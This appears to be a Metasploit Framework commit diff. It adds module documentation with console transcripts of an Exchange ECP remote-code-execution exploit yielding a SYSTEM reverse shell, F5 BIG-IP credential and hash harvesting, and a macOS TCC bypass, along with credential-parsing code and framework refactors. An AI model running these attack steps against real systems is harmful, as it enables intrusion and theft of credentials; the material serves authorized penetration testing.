### Setup
Set up a [vulnerable target](#targets).
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Targets
### 0
`Exchange Server 2016 and 2019 w/o KB4577352`
## Options
### USERNAME
Set this to the OWA username.
### PASSWORD
Set this to the OWA password.
## Scenarios
### Exchange Server 2016 CU14 on Windows Server 2016
```
msf6 > use exploit/windows/http/exchange_ecp_dlp_policy
[*] Using configured payload windows/x64/meterpreter/reverse_https
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > options
Module options (exploit/windows/http/exchange_ecp_dlp_policy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no OWA password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
USERNAME no OWA username
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Exchange Server 2016 and 2019 w/o KB4577352
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set rhosts 192.168.123.192
rhosts => 192.168.123.192
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set username Administrator
username => Administrator
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set password Passw0rd!
password => Passw0rd!
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > run
[*] Started HTTPS reverse handler on https://192.168.123.1:8443
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated. OWA is running at https://192.168.123.192/owa/
[*] Logging in to OWA with creds Administrator:Passw0rd!
[+] Successfully logged in to OWA
[*] Retrieving ViewState from DLP policy creation page
[+] Successfully retrieved ViewState
[*] Creating custom DLP policy from malicious template
[*] DLP policy name: Abbotstone Agricultural Property Unit Trust Data
[*] Powershell command length: 2372
[*] https://192.168.123.1:8443 handling request from 192.168.123.192; (UUID: rwlz4ahe) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.192:6951) at 2020-09-16 02:39:17 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-365Q2VJJS17
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : GIBSON
Logged On Users : 8
Meterpreter : x64/windows
meterpreter >
```
@@ -8,7 +8,7 @@ This module has been tested on the following hardware/OS combinations.
The ICX config can be found [no passwords](https://github.com/h00die/MSF-Testing-Scripts/blob/master/brocade_icx6430_nopass.conf),
[hashes](https://github.com/h00die/MSF-Testing-Scripts/blob/master/brocade_icx6430_pass.conf)
This module will look for the follow parameters which contain credentials:
This module will look for the following parameters which contain credentials:
* FastIron
* `show configuration`
@@ -10,7 +10,7 @@ The Catalyst 2950 config can be found [here](https://github.com/h00die/MSF-Testi
The UC520 config can be found [here](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/cisco-uc520.config)
This module will look for the follow parameters which contain credentials:
This module will look for the following parameters which contain credentials:
* IOS
* enable
@@ -0,0 +1,105 @@
## Vulnerable Application
This module has been tested on the following hardware/OS combinations.
* F5 Big-IP 15.1.0.2
This module will look for the following parameters which contain credentials:
* Big-IP
* user
* SNMP
* key hashes
* SSL keys
## Verification Steps
1. Start msfconsole
1. Get a shell
1. Do: `use post/networking/gather/enum_f5`
1. Do: `set session [id]`
1. Do: `set verbose true`
1. Do: `run`
## Options
## Scenarios
### F5 Big-IP 15.1.0.2
```
resource (f5_ssh.rb)> use auxiliary/scanner/ssh/ssh_login
resource (f5_ssh.rb)> set username root
username => root
resource (f5_ssh.rb)> set password f5-bigip
password => f5-bigip
resource (f5_ssh.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (f5_ssh.rb)> run
[+] 2.2.2.2:22 - Success: 'root:f5-bigip' 'uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux f5bigip.ragedomain 3.10.0-862.14.4.el7.ve.x86_64 #1 SMP Fri Mar 20 17:06:49 PDT 2020 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (1.1.1.1:42443 -> 2.2.2.2:22) at 2020-08-20 14:39:08 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
```
resource (f5_ssh.rb)> use post/networking/gather/enum_f5
resource (f5_ssh.rb)> set session 1
session => 1
resource (f5_ssh.rb)> set verbose true
verbose => true
resource (f5_ssh.rb)> run
[!] SESSION may not be compatible with this module.
[*] Moving to TMOS prompt
[+] Config information stored in to loot /home/h00die/.msf4/loot/20200820143924_default_2.2.2.2_f5.version_351096.txt
[+] Version: BIG-IP 15.1.0.2 0.0.9
[*] Gathering info from show sys
[+] Saving to /home/h00die/.msf4/loot/20200820143929_default_2.2.2.2_F5.show_sys_066269.txt
[+] 2.2.2.2:22 F5 master-key hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==
[+] 2.2.2.2:22 F5 previous hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==
[*] Gathering info from show auth
[+] Saving to /home/h00die/.msf4/loot/20200820143934_default_2.2.2.2_F5.show_auth_823862.txt
[*] Gathering info from show cm
[+] Saving to /home/h00die/.msf4/loot/20200820143939_default_2.2.2.2_F5.show_cm_704510.txt
[*] Gathering info from show net
[+] Saving to /home/h00die/.msf4/loot/20200820143944_default_2.2.2.2_F5.show_net_045166.txt
[*] Gathering info from show running-config
[+] Saving to /home/h00die/.msf4/loot/20200820143949_default_2.2.2.2_F5.show_running__097351.txt
[+] 2.2.2.2:22 Username 'admin' with description 'Admin User' and shell tmsh with hash $6$PQvaMmyS$Bn5.2qIin7rC34tHUQ1Vu6fEeuDzQZqc25TSiDsmbB903RENBisWbTN9Mqh7g2x26VUbxdzwUzzmL7fB4T2iy1
[+] 2.2.2.2:22 Username 'superlegit' with description 'a user account' and shell tmsh with hash $6$FTQz2reX$U0o37QjQYdg42dwCcLa.1H85hVTriQtxhlMoIM0cs4DFyW5s26kbrEgZG5Mfaxi9fgFfHrvDBGad7ikXnEZIP0
[+] 2.2.2.2:22 Username 't' with description 't' and shell none with hash $6$iajXIq2B$ezy4hVW9A.5eN1xG4JZWFbY4bFaq7uUKwO9gDVLxvgzigsX4gquLW1NoSaZP9CtN0NnrbGV4QvtkA.esLJOg50
[+] 2.2.2.2:22 SNMP Community 'public' with RO access
[+] 2.2.2.2:22 SNMP Community 'rocommunity' with RO access
[+] 2.2.2.2:22 SNMP Community 'rwcommunity' with RW access
[+] 2.2.2.2:22 Hostname: f5bigip.ragedomain
[+] 2.2.2.2:22 MAC Address: 00:0c:29:18:49:c7
[+] 2.2.2.2:22 Management IP: 2.2.2.2
[+] 2.2.2.2:22 Product BIG-IP
[+] 2.2.2.2:22 OS Version: 15.1.0.2
[+] 2.2.2.2:22 SSL Key 'f5_api_com.key' and hash $M$by$gXTDo23Gz+Yz4fWA4uBbTccd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc= for /config/ssl/ssl.key/f5_api_com.key
[*] Gathering info from show sys crypto master-key
[+] Saving to /home/h00die/.msf4/loot/20200820143954_default_2.2.2.2_F5.show_crypto_k_313673.txt
[+] 2.2.2.2:22 F5 master-key hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==
[+] 2.2.2.2:22 F5 previous hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==
[*] Gathering info from cat /config/bigip.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144005_default_2.2.2.2_F5.bigip.conf_401821.txt
[+] 2.2.2.2:22 SSL Key '/Common/f5_api_com.key' and hash $M$iE$cIdy72xi7Xbk3kazSrpdfscd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc= for /config/ssl/ssl.key/f5_api_com.key
[*] Gathering info from cat /config/bigip_base.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144010_default_2.2.2.2_F5.bigip_base.co_869534.txt
[+] 2.2.2.2:22 SNMP Community 'public' with RO access
[+] 2.2.2.2:22 Hostname: f5bigip.ragegroup.com
[+] 2.2.2.2:22 MAC Address: 00:0c:29:18:49:c7
[+] 2.2.2.2:22 Management IP: 2.2.2.2
[+] 2.2.2.2:22 Product BIG-IP
[+] 2.2.2.2:22 OS Version: 15.1.0.2
[*] Gathering info from cat /config/bigip_gtm.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144015_default_2.2.2.2_F5.bigip_gtm.con_315221.txt
[*] Gathering info from cat /config/bigip_script.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144020_default_2.2.2.2_F5.bigip_script._498011.txt
[*] Gathering info from cat /config/bigip_user.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144025_default_2.2.2.2_F5.bigip_user.co_687618.txt
[*] Gathering info from cat /config/user_alert.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144030_default_2.2.2.2_F5.user_alert.co_138139.txt
[*] Post module execution completed
```
@@ -8,7 +8,7 @@ This module has been tested on the following hardware/OS combinations.
The ex2200 config can be found [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/juniper_ex2200.config)
This module will look for the follow parameters which contain credentials:
This module will look for the following parameters which contain credentials:
* ScreenOS
* admin
@@ -0,0 +1,91 @@
## Vulnerable Application
This module exploits a vulnerability in the TCC daemon on macOS Catalina
(<= 10.15.5) in order to grant TCC entitlements. The TCC daemon can be
manipulated (by setting the HOME environment variable) to use a new user
controlled location as the TCC database. We can then grant ourselves
entitlements by inserting them into this new database.
## Verification Steps
1. Start msfconsole
1. Get a user session on OSX 10.15.5 (or lower)
1. Do: ```use post/osx/escalate/tccbypass```
1. Do: ```set SESSION -1```
1. Do: ```run```
1. Your session should now be able to access the ~/Documents folder
## Scenarios
### User level shell on macOS Catalina 10.15.4
```
msf6 > use payload/osx/x64/meterpreter/reverse_tcp
msf6 payload(osx/x64/meterpreter/reverse_tcp) > set lhost 192.168.135.197
lhost => 192.168.135.197
msf6 payload(osx/x64/meterpreter/reverse_tcp) > set lport 4567
lport => 4567
msf6 payload(osx/x64/meterpreter/reverse_tcp) > generate -f macho -o revtcpx64.mac
[*] Writing 17204 bytes to revtcpx64.mac...
msf6 payload(osx/x64/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
[*] Started reverse TCP handler on 192.168.135.197:4567
msf6 payload(osx/x64/meterpreter/reverse_tcp) > [*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (799916 bytes) to 192.168.132.178
[*] Meterpreter session 1 opened (192.168.135.197:4567 -> 192.168.132.178:49156) at 2020-09-10 11:44:05 -0500
msf6 payload(osx/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : msfusers-Mac.local
OS : macOS Catalina (macOS 10.15.4)
Architecture : x86
BuildTuple : x86_64-apple-darwin
Meterpreter : x64/osx
meterpreter > getuid
Server username: msfuser @ msfusers-Mac.local (uid=501, gid=20, euid=501, egid=20)
meterpreter > ls Documents
[-] 1009: Operation failed: 1
meterpreter > background
[*] Backgrounding session 1...
msf6 payload(osx/x64/meterpreter/reverse_tcp) > use post/osx/escalate/tccbypass
msf6 post(osx/escalate/tccbypass) > show options
Module options (post/osx/escalate/tccbypass):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
msf6 post(osx/escalate/tccbypass) > set session 1
session => 1
msf6 post(osx/escalate/tccbypass) > set verbose true
verbose => true
msf6 post(osx/escalate/tccbypass) > run
[*] Creating TCC directory /tmp/.SZulaEVB/Library/Application Support/com.apple.TCC
[+] fake TCC DB found: /tmp/.SZulaEVB/Library/Application Support/com.apple.TCC/TCC.db
[+] TCC.db was successfully updated!
[*] To cleanup, run:
launchctl unsetenv HOME && launchctl stop com.apple.tccd && launchctl start com.apple.tccd
rm -rf '/tmp/.SZulaEVB'
[*] Post module execution completed
msf6 post(osx/escalate/tccbypass) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: msfuser @ msfusers-Mac.local (uid=501, gid=20, euid=501, egid=20)
meterpreter > ls Documents
Listing: Documents
==================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 0 fil 2020-08-14 13:51:29 -0500 .localized
meterpreter >
```
@@ -0,0 +1,134 @@
## Vulnerable Application
This post-exploitation module will check if a host is running Hyper-V. If the host is running Hyper-V, the module
will gather information about all Hyper-V VMs installed on the host, including the name of the VM, its status,
CPU usage, version of the Hyper-V engine that it relies on, and its state (running, suspended, offline, etc).
## Verification Steps
1. Start `msfconsole`
2. Get meterpreter session
3. Do: `use post/windows/gather/enum_hyperv_vms`
4. Do: `set SESSION <session id>`
5. Do: `run`
6. If the host has Hyper-V installed, a list of Hyper-V VMs which are on target host will be returned, along with their attributes.
## Options
This module just uses the standard options available to any post module.
## Extracted data
- Name of each VM
- State of each VM
- CPU Usage of each VM
- How long each VM has been running for, down to the milliseconds.
- Amount of memory assigned to each VM
- Status of each VM
- The version of the Hyper-V engine that each VM is using.
## Scenarios
### Meterpreter session as a normal user on Windows Server 2019 Standard Edition - fails as user lacks required permissions
```
msf6 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 172.20.150.24:4444
[*] Sending stage (200262 bytes) to 172.20.150.24
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.20.150.24:4444) at 2020-09-10 18:33:16 -0500
meterpreter > getuid
Server username: RAPID7\normal
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeMachineAccountPrivilege
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/windows/gather/enum_hyperv_vms
msf6 post(windows/gather/enum_hyperv_vms) > show options
Module options (post/windows/gather/enum_hyperv_vms):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
msf6 post(windows/gather/enum_hyperv_vms) > set session 1
session => 1
msf6 post(windows/gather/enum_hyperv_vms) > run
[+] Compressed size: 800
[-] You need to be running as an elevated admin or a user of the Hyper-V Administrators group to run this module
[*] Post module execution completed
msf6 post(windows/gather/enum_hyperv_vms) >
```
### Meterpreter session as an elevated admin user
```
msf6 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 172.20.150.24:4444
[*] Sending stage (200262 bytes) to 172.20.150.24
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.20.150.24:4444) at 2020-09-10 18:43:15 -0500
meterpreter > getuid
Server username: RAPID7\Administrator
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeEnableDelegationPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeMachineAccountPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(multi/handler) > use post/windows/gather/enum_hyperv_vms
msf6 post(windows/gather/enum_hyperv_vms) > set SESSION 2
SESSION => 2
msf6 post(windows/gather/enum_hyperv_vms) > run
[+] Compressed size: 800
[*] Name State CPUUsage(%) MemoryAssigned(M) Uptime Status Version
---- ----- ----------- ----------------- ------ ------ -------
Test Machine Off 0 0 00:00:00 Operating normally 9.0
Windows XP SP3 Running 79 2048 02:54:58.3210000 Operating normally 9.0
[+] Stored loot at /home/gwillcox/.msf4/loot/20200910184541_default_172.20.150.24_host.hyperv_vms_309544.txt
[*] Post module execution completed
msf6 post(windows/gather/enum_hyperv_vms) >
```
@@ -4,7 +4,10 @@ module LootDataProxy
begin
self.data_service_operation do |data_service|
if !data_service.is_a?(Msf::DBManager)
opts[:data] = Base64.urlsafe_encode64(opts[:data].empty? ? "" : opts[:data].join('')) if opts[:data] and opts[:data].kind_of?(Array) else opts[:data]
unless opts[:data].nil?
opts[:data] = opts[:data].join if opts[:data].kind_of?(Array)
opts[:data] = Base64.urlsafe_encode64(opts[:data]) unless opts[:data].empty?
end
end
add_opts_workspace(opts)
data_service.report_loot(opts)
@@ -3,8 +3,7 @@ module RemoteServiceDataService
SERVICE_MDM_CLASS = 'Mdm::Service'
def services(opts)
path = get_path_select(opts, SERVICE_API_PATH)
json_to_mdm_object(self.get_data(path, nil, opts), SERVICE_MDM_CLASS)
json_to_mdm_object(self.get_data(SERVICE_API_PATH, nil, opts), SERVICE_MDM_CLASS)
end
def report_service(opts)
@@ -19,4 +19,4 @@ module ServiceDataService
def delete_service(opts)
raise 'ServiceDataService#delete_service is not implemented'
end
end
end
@@ -105,6 +105,8 @@ def identify_hash(hash)
# other
when hash =~ /^<\d+@.+?>#[\w]{32}$/
return 'hmac-md5'
when hash.length == 114 && hash.start_with?('$M$')
return 'F5-Secure-Vault'
end
''
end
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.0.6"
VERSION = "6.0.7"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+196
View File
@@ -0,0 +1,196 @@
# -*- coding: binary -*-
require 'metasploit/framework/hashes/identify'
module Msf
###
#
# This module provides methods for working with F5 equipment
#
###
module Auxiliary::F5
include Msf::Auxiliary::Report
def f5_config_eater(thost, tport, config, store = true)
credential_data = {
address: thost,
port: tport,
protocol: 'tcp',
workspace_id: myworkspace.id,
origin_type: :service,
private_type: :nonreplayable_hash,
# https://support.f5.com/csp/article/K65081001
jtr_format: 'sha512,crypt', # default on the devices 11.4.0+
service_name: '',
module_fullname: fullname,
status: Metasploit::Model::Login::Status::UNTRIED
}
# Default SNMP to UDP
if tport == 161
credential_data[:protocol] = 'udp'
end
if store
store_loot('f5.config', 'text/plain', thost, config.strip, 'config.txt', 'F5 Configuration')
end
host_info = {
host: thost,
os_name: 'F5'
}
report_host(host_info)
# generated by: tmsh list auth user
# auth user admin {
# description "Admin User"
# encrypted-password $6$4FAWSZLi$VeSaxPM2/D1JOhMRN/GMkt5wHcbIVKaIC2g765ZD0VA9ZEEm8iyK40/ncGrZIGyJyJF4ivkScNZ59HWAIKMML/
# partition Common
# partition-access {
# all-partitions {
# role admin
# }
# }
# shell none
# }
config.scan(%r{auth user ([^ ]+) {\s*description "?([^\n"]+)"?\n\s*encrypted-password ([$\w\+\./]+)\n[\w\s\-{}]+\s+shell (tmsh|bash|none)\n}}mi).each do |result|
username = result[0].strip
description = result[1].strip
hash = result[2].strip
shell = result[3].strip
cred = credential_data.dup
cred[:username] = username
cred[:jtr_format] = identify_hash(hash)
cred[:private_data] = hash
create_credential_and_login(cred)
print_good("#{thost}:#{tport} Username '#{username}' with description '#{description}' and shell #{shell} with hash #{hash}")
end
# generated by: tmsh list sys snmp communities
# sys snmp {
# communities {
# comm-public {
# community-name public
# source default
# }
# ro {
# community-name rocommunity
# }
# rw {
# access rw
# community-name rwcommunity
# }
# }
# }
config.scan(/(?:(access rw)?\n)\s+community-name (\w+)/).each do |result|
if result[0].nil?
access = 'RO'
else
access = 'RW'
end
cred = credential_data.dup
cred[:port] = 161
cred[:protocol] = 'udp'
cred[:service_name] = 'snmp'
cred[:jtr_format] = ''
cred[:private_data] = result[1].strip
cred[:private_type] = :password
cred[:access_level] = access
create_credential_and_login(cred)
print_good("#{thost}:#{tport} SNMP Community '#{result[1].strip}' with #{access} access")
end
# generated by: cat /config/bigip.conf
# cm device /Common/f5bigip.ragegroup.com {
# active-modules { "BIG-IP, VE Trial|VTFAAAA-AAAAAAA|Rate Shaping|External Interface and Network HSM, VE|SDN Services, VE|SSL, Forward Proxy, VE|BIG-IP VE, Multicast Routing|APM, Limited|SSL, VE|DNS (1K QPS), VE|Routing Bundle, VE|ASM, VE|Crytpo Offload, VE, Tier 1 (25M - 200M)|Max Compression, VE|AFM, VE|DNSSEC|Anti-Virus Checks|Base Endpoint Security Checks|Firewall Checks|Network Access|Secure Virtual Keyboard|APM, Web Application|Machine Certificate Checks|Protected Workspace|Remote Desktop|App Tunnel|VE, Carrier Grade NAT (AFM ONLY)|PSM, VE" }
# base-mac 00:11:11:a1:a1:a1
# build 0.0.9
# cert /Common/dtdi.crt
# chassis-id 164aaf79-aace-3494-1237671446c7
# configsync-ip 10.10.10.222
# edition "Point Release 2"
# hostname f5bigip.home.com
# key /Common/dtdi.key
# management-ip 1.1.1.1
# marketing-name "BIG-IP Virtual Edition"
# platform-id Z100
# product BIG-IP
# self-device true
# time-zone America/Los_Angeles
# version 15.1.0.2
# }
if /^cm device (?<content>.+)}$/m =~ config
if /hostname (?<hostname>[\w\.-]+)$/i =~ content
print_good("#{thost}:#{tport} Hostname: #{hostname}")
host_info[:name] = hostname
report_host(host_info)
end
if /base-mac (?<mac>[\d:a-f]+)$/i =~ content
print_good("#{thost}:#{tport} MAC Address: #{mac}")
host_info[:mac] = mac
report_host(host_info)
end
if /management-ip (?<ip>[\d\.]+)$/ =~ content
print_good("#{thost}:#{tport} Management IP: #{ip}")
end
if /product (?<product>[\w-]+)$/i =~ content
print_good("#{thost}:#{tport} Product #{product}")
host_info[:os_name] = "F5 #{product}"
report_host(host_info)
end
if /version (?<version>[\d\.]+)$/i =~ content
print_good("#{thost}:#{tport} OS Version: #{version}")
host_info[:os_flavor] = version
report_host(host_info)
end
end
# generated by: cat /config/bigip.conf
# sys file ssl-key /Common/f5_api_com.key {
# cache-path /config/filestore/files_d/Common_d/certificate_key_d/:Common:f5_api_com.key_63086_1
# passphrase $M$iE$cIdy72xi7Xbk3kazSrpdfscd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc=
# revision 1
# source-path file:///config/ssl/ssl.key/f5_api_com.key
# }
config.scan(%r{^sys file ssl-key (.+) \{.+passphrase ([$\w/\+=]+).+source-path file://([\w/\.]+)}mi).each do |result|
username = result[0].strip # its not really a username, but we'll leave it as is since its a common name
hash = result[1].strip
file = result[2].strip
cred = credential_data.dup
cred[:username] = username
cred[:jtr_format] = identify_hash(hash)
cred[:private_data] = hash
create_credential_and_login(cred)
print_good("#{thost}:#{tport} SSL Key '#{username}' and hash #{hash} for #{file}")
end
# generated by tmsh show sys crypto master-key
# --------------------------------------------------------------------------------
# Sys::Master-Key
# --------------------------------------------------------------------------------
# master-key hash <EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==>
# previous hash <EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==>
config.scan(%r{(master-key|previous) hash\s+<([\w\+/=]+)>}i). each do |result|
key_type = result[0].strip
key = result[1].strip
cred = credential_data.dup
cred[:username] = "F5 #{key_type} hash"
cred[:jtr_format] = identify_hash(key) # will come bacy empty
cred[:private_data] = key
create_credential_and_login(cred)
print_good("#{thost}:#{tport} F5 #{key_type} hash #{key}")
end
end
end
end
+4 -2
View File
@@ -38,12 +38,14 @@ module Msf::DBManager::ExploitAttempt
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
port = opts[:port]
prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
svc = opts[:service]
# Look up the service as appropriate
if port and svc.nil?
svc = get_service(wspace, host, prot, port)
# only one result can be returned, as the +port+ field restricts potential results to a single service
svc = services(:workspace => wspace,
:hosts => {address: host},
:port => port).first
end
# Look up the host as appropriate
+5 -2
View File
@@ -132,8 +132,11 @@ module Msf::DBManager::Note
if addr and not host
host = get_host(:workspace => wspace, :host => addr)
end
if host and (opts[:port] and proto)
service = get_service(wspace, host, proto, opts[:port])
if host and opts[:port]
# only one result can be returned, as the +port+ field restricts potential results to a single service
service = services(:workspace => wspace,
:hosts => {address: host},
:port => opts[:port]).first
elsif opts[:service] and opts[:service].kind_of? ::Mdm::Service
service = opts[:service]
end
-8
View File
@@ -33,14 +33,6 @@ module Msf::DBManager::Service
report_service(opts)
end
def get_service(wspace, host, proto, port)
::ApplicationRecord.connection_pool.with_connection {
host = get_host(:workspace => wspace, :address => host)
return if !host
return host.services.find_by_proto_and_port(proto, port)
}
end
#
# Record a service in the database.
#
-3
View File
@@ -1562,9 +1562,6 @@ class Exploit < Msf::Module
if self.datastore['RPORT'] and self.options['RPORT']
info[:port] = self.datastore['RPORT']
if self.class.ancestors.include?(Msf::Exploit::Remote::Tcp)
info[:proto] = 'tcp'
end
end
framework.db.report_exploit_failure(info)
+85 -63
View File
@@ -2,6 +2,7 @@
require 'uri'
require 'digest'
module Msf
###
@@ -11,6 +12,7 @@ module Msf
#
###
module Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
#
@@ -47,7 +49,6 @@ module Exploit::Remote::HttpClient
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKSTATION']),
OptFloat.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']),
OptBool.new('HttpPartialResponses', [false, 'Return partial HTTP responses despite timeouts', false]),
OptBool.new('HttpTrace', [false, 'Show the raw HTTP requests and responses', false]),
OptBool.new('HttpTraceHeadersOnly', [false, 'Show HTTP headers only in HttpTrace', false]),
OptString.new('HttpTraceColors', [false, 'HTTP request and response colors for HttpTrace (unset to disable)', 'red/blu'])
@@ -88,6 +89,9 @@ module Exploit::Remote::HttpClient
)
register_autofilter_ports([ 80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443 ])
register_autofilter_services(%W{ http https })
# Initialize an empty cookie jar to keep cookies
self.cookie_jar = Set.new
end
def deregister_http_client_options
@@ -168,7 +172,7 @@ module Exploit::Remote::HttpClient
nclient.set_config(
'vhost' => opts['vhost'] || opts['rhost'] || self.vhost(),
'agent' => datastore['UserAgent'],
'partial' => opts['partial'] || datastore['HttpPartialResponses'],
'partial' => opts['partial'],
'uri_encode_mode' => datastore['HTTP::uri_encode_mode'],
'uri_full_url' => datastore['HTTP::uri_full_url'],
'pad_method_uri_count' => datastore['HTTP::pad_method_uri_count'],
@@ -314,69 +318,80 @@ module Exploit::Remote::HttpClient
#
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_raw.
#
def send_request_raw(opts={}, timeout = 20, disconnect = false)
def send_request_raw(opts = {}, timeout = 20, disconnect = false)
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
actual_timeout = datastore['HttpClientTimeout']
else
actual_timeout = opts[:timeout] || timeout
actual_timeout = opts[:timeout] || timeout
end
begin
c = connect(opts)
r = opts[:cgi] ? c.request_cgi(opts) : c.request_raw(opts)
c = connect(opts)
r = opts[:cgi] ? c.request_cgi(opts) : c.request_raw(opts)
if datastore['HttpTrace']
request_color, response_color =
(datastore['HttpTraceColors'] || '').split('/').map { |color| "%bld%#{color}" }
if datastore['HttpTrace']
request_color, response_color =
(datastore['HttpTraceColors'] || '').split('/').map { |color| "%bld%#{color}" }
request = r.to_s(headers_only: datastore['HttpTraceHeaders'])
request = r.to_s(headers_only: datastore['HttpTraceHeaders'])
print_line('#' * 20)
print_line('# Request:')
print_line('#' * 20)
print_line("%clr#{request_color}#{request}%clr")
end
res = c.send_recv(r, actual_timeout)
if datastore['HttpTrace']
print_line('#' * 20)
print_line('# Response:')
print_line('#' * 20)
if res
response = res.to_terminal_output(headers_only: datastore['HttpTraceHeadersOnly'])
print_line("%clr#{response_color}#{response}%clr")
else
print_line('No response received')
end
end
disconnect(c) if disconnect
res
rescue ::Errno::EPIPE, ::Timeout::Error => e
print_line(e.message) if datastore['HttpTrace']
nil
rescue Rex::ConnectionError => e
vprint_error(e.to_s)
nil
rescue ::Exception => e
print_line(e.message) if datastore['HttpTrace']
raise e
print_line('#' * 20)
print_line('# Request:')
print_line('#' * 20)
print_line("%clr#{request_color}#{request}%clr")
end
res = c.send_recv(r, actual_timeout)
if datastore['HttpTrace']
print_line('#' * 20)
print_line('# Response:')
print_line('#' * 20)
if res
response = res.to_terminal_output(headers_only: datastore['HttpTraceHeadersOnly'])
print_line("%clr#{response_color}#{response}%clr")
else
print_line('No response received')
end
end
disconnect(c) if disconnect
res
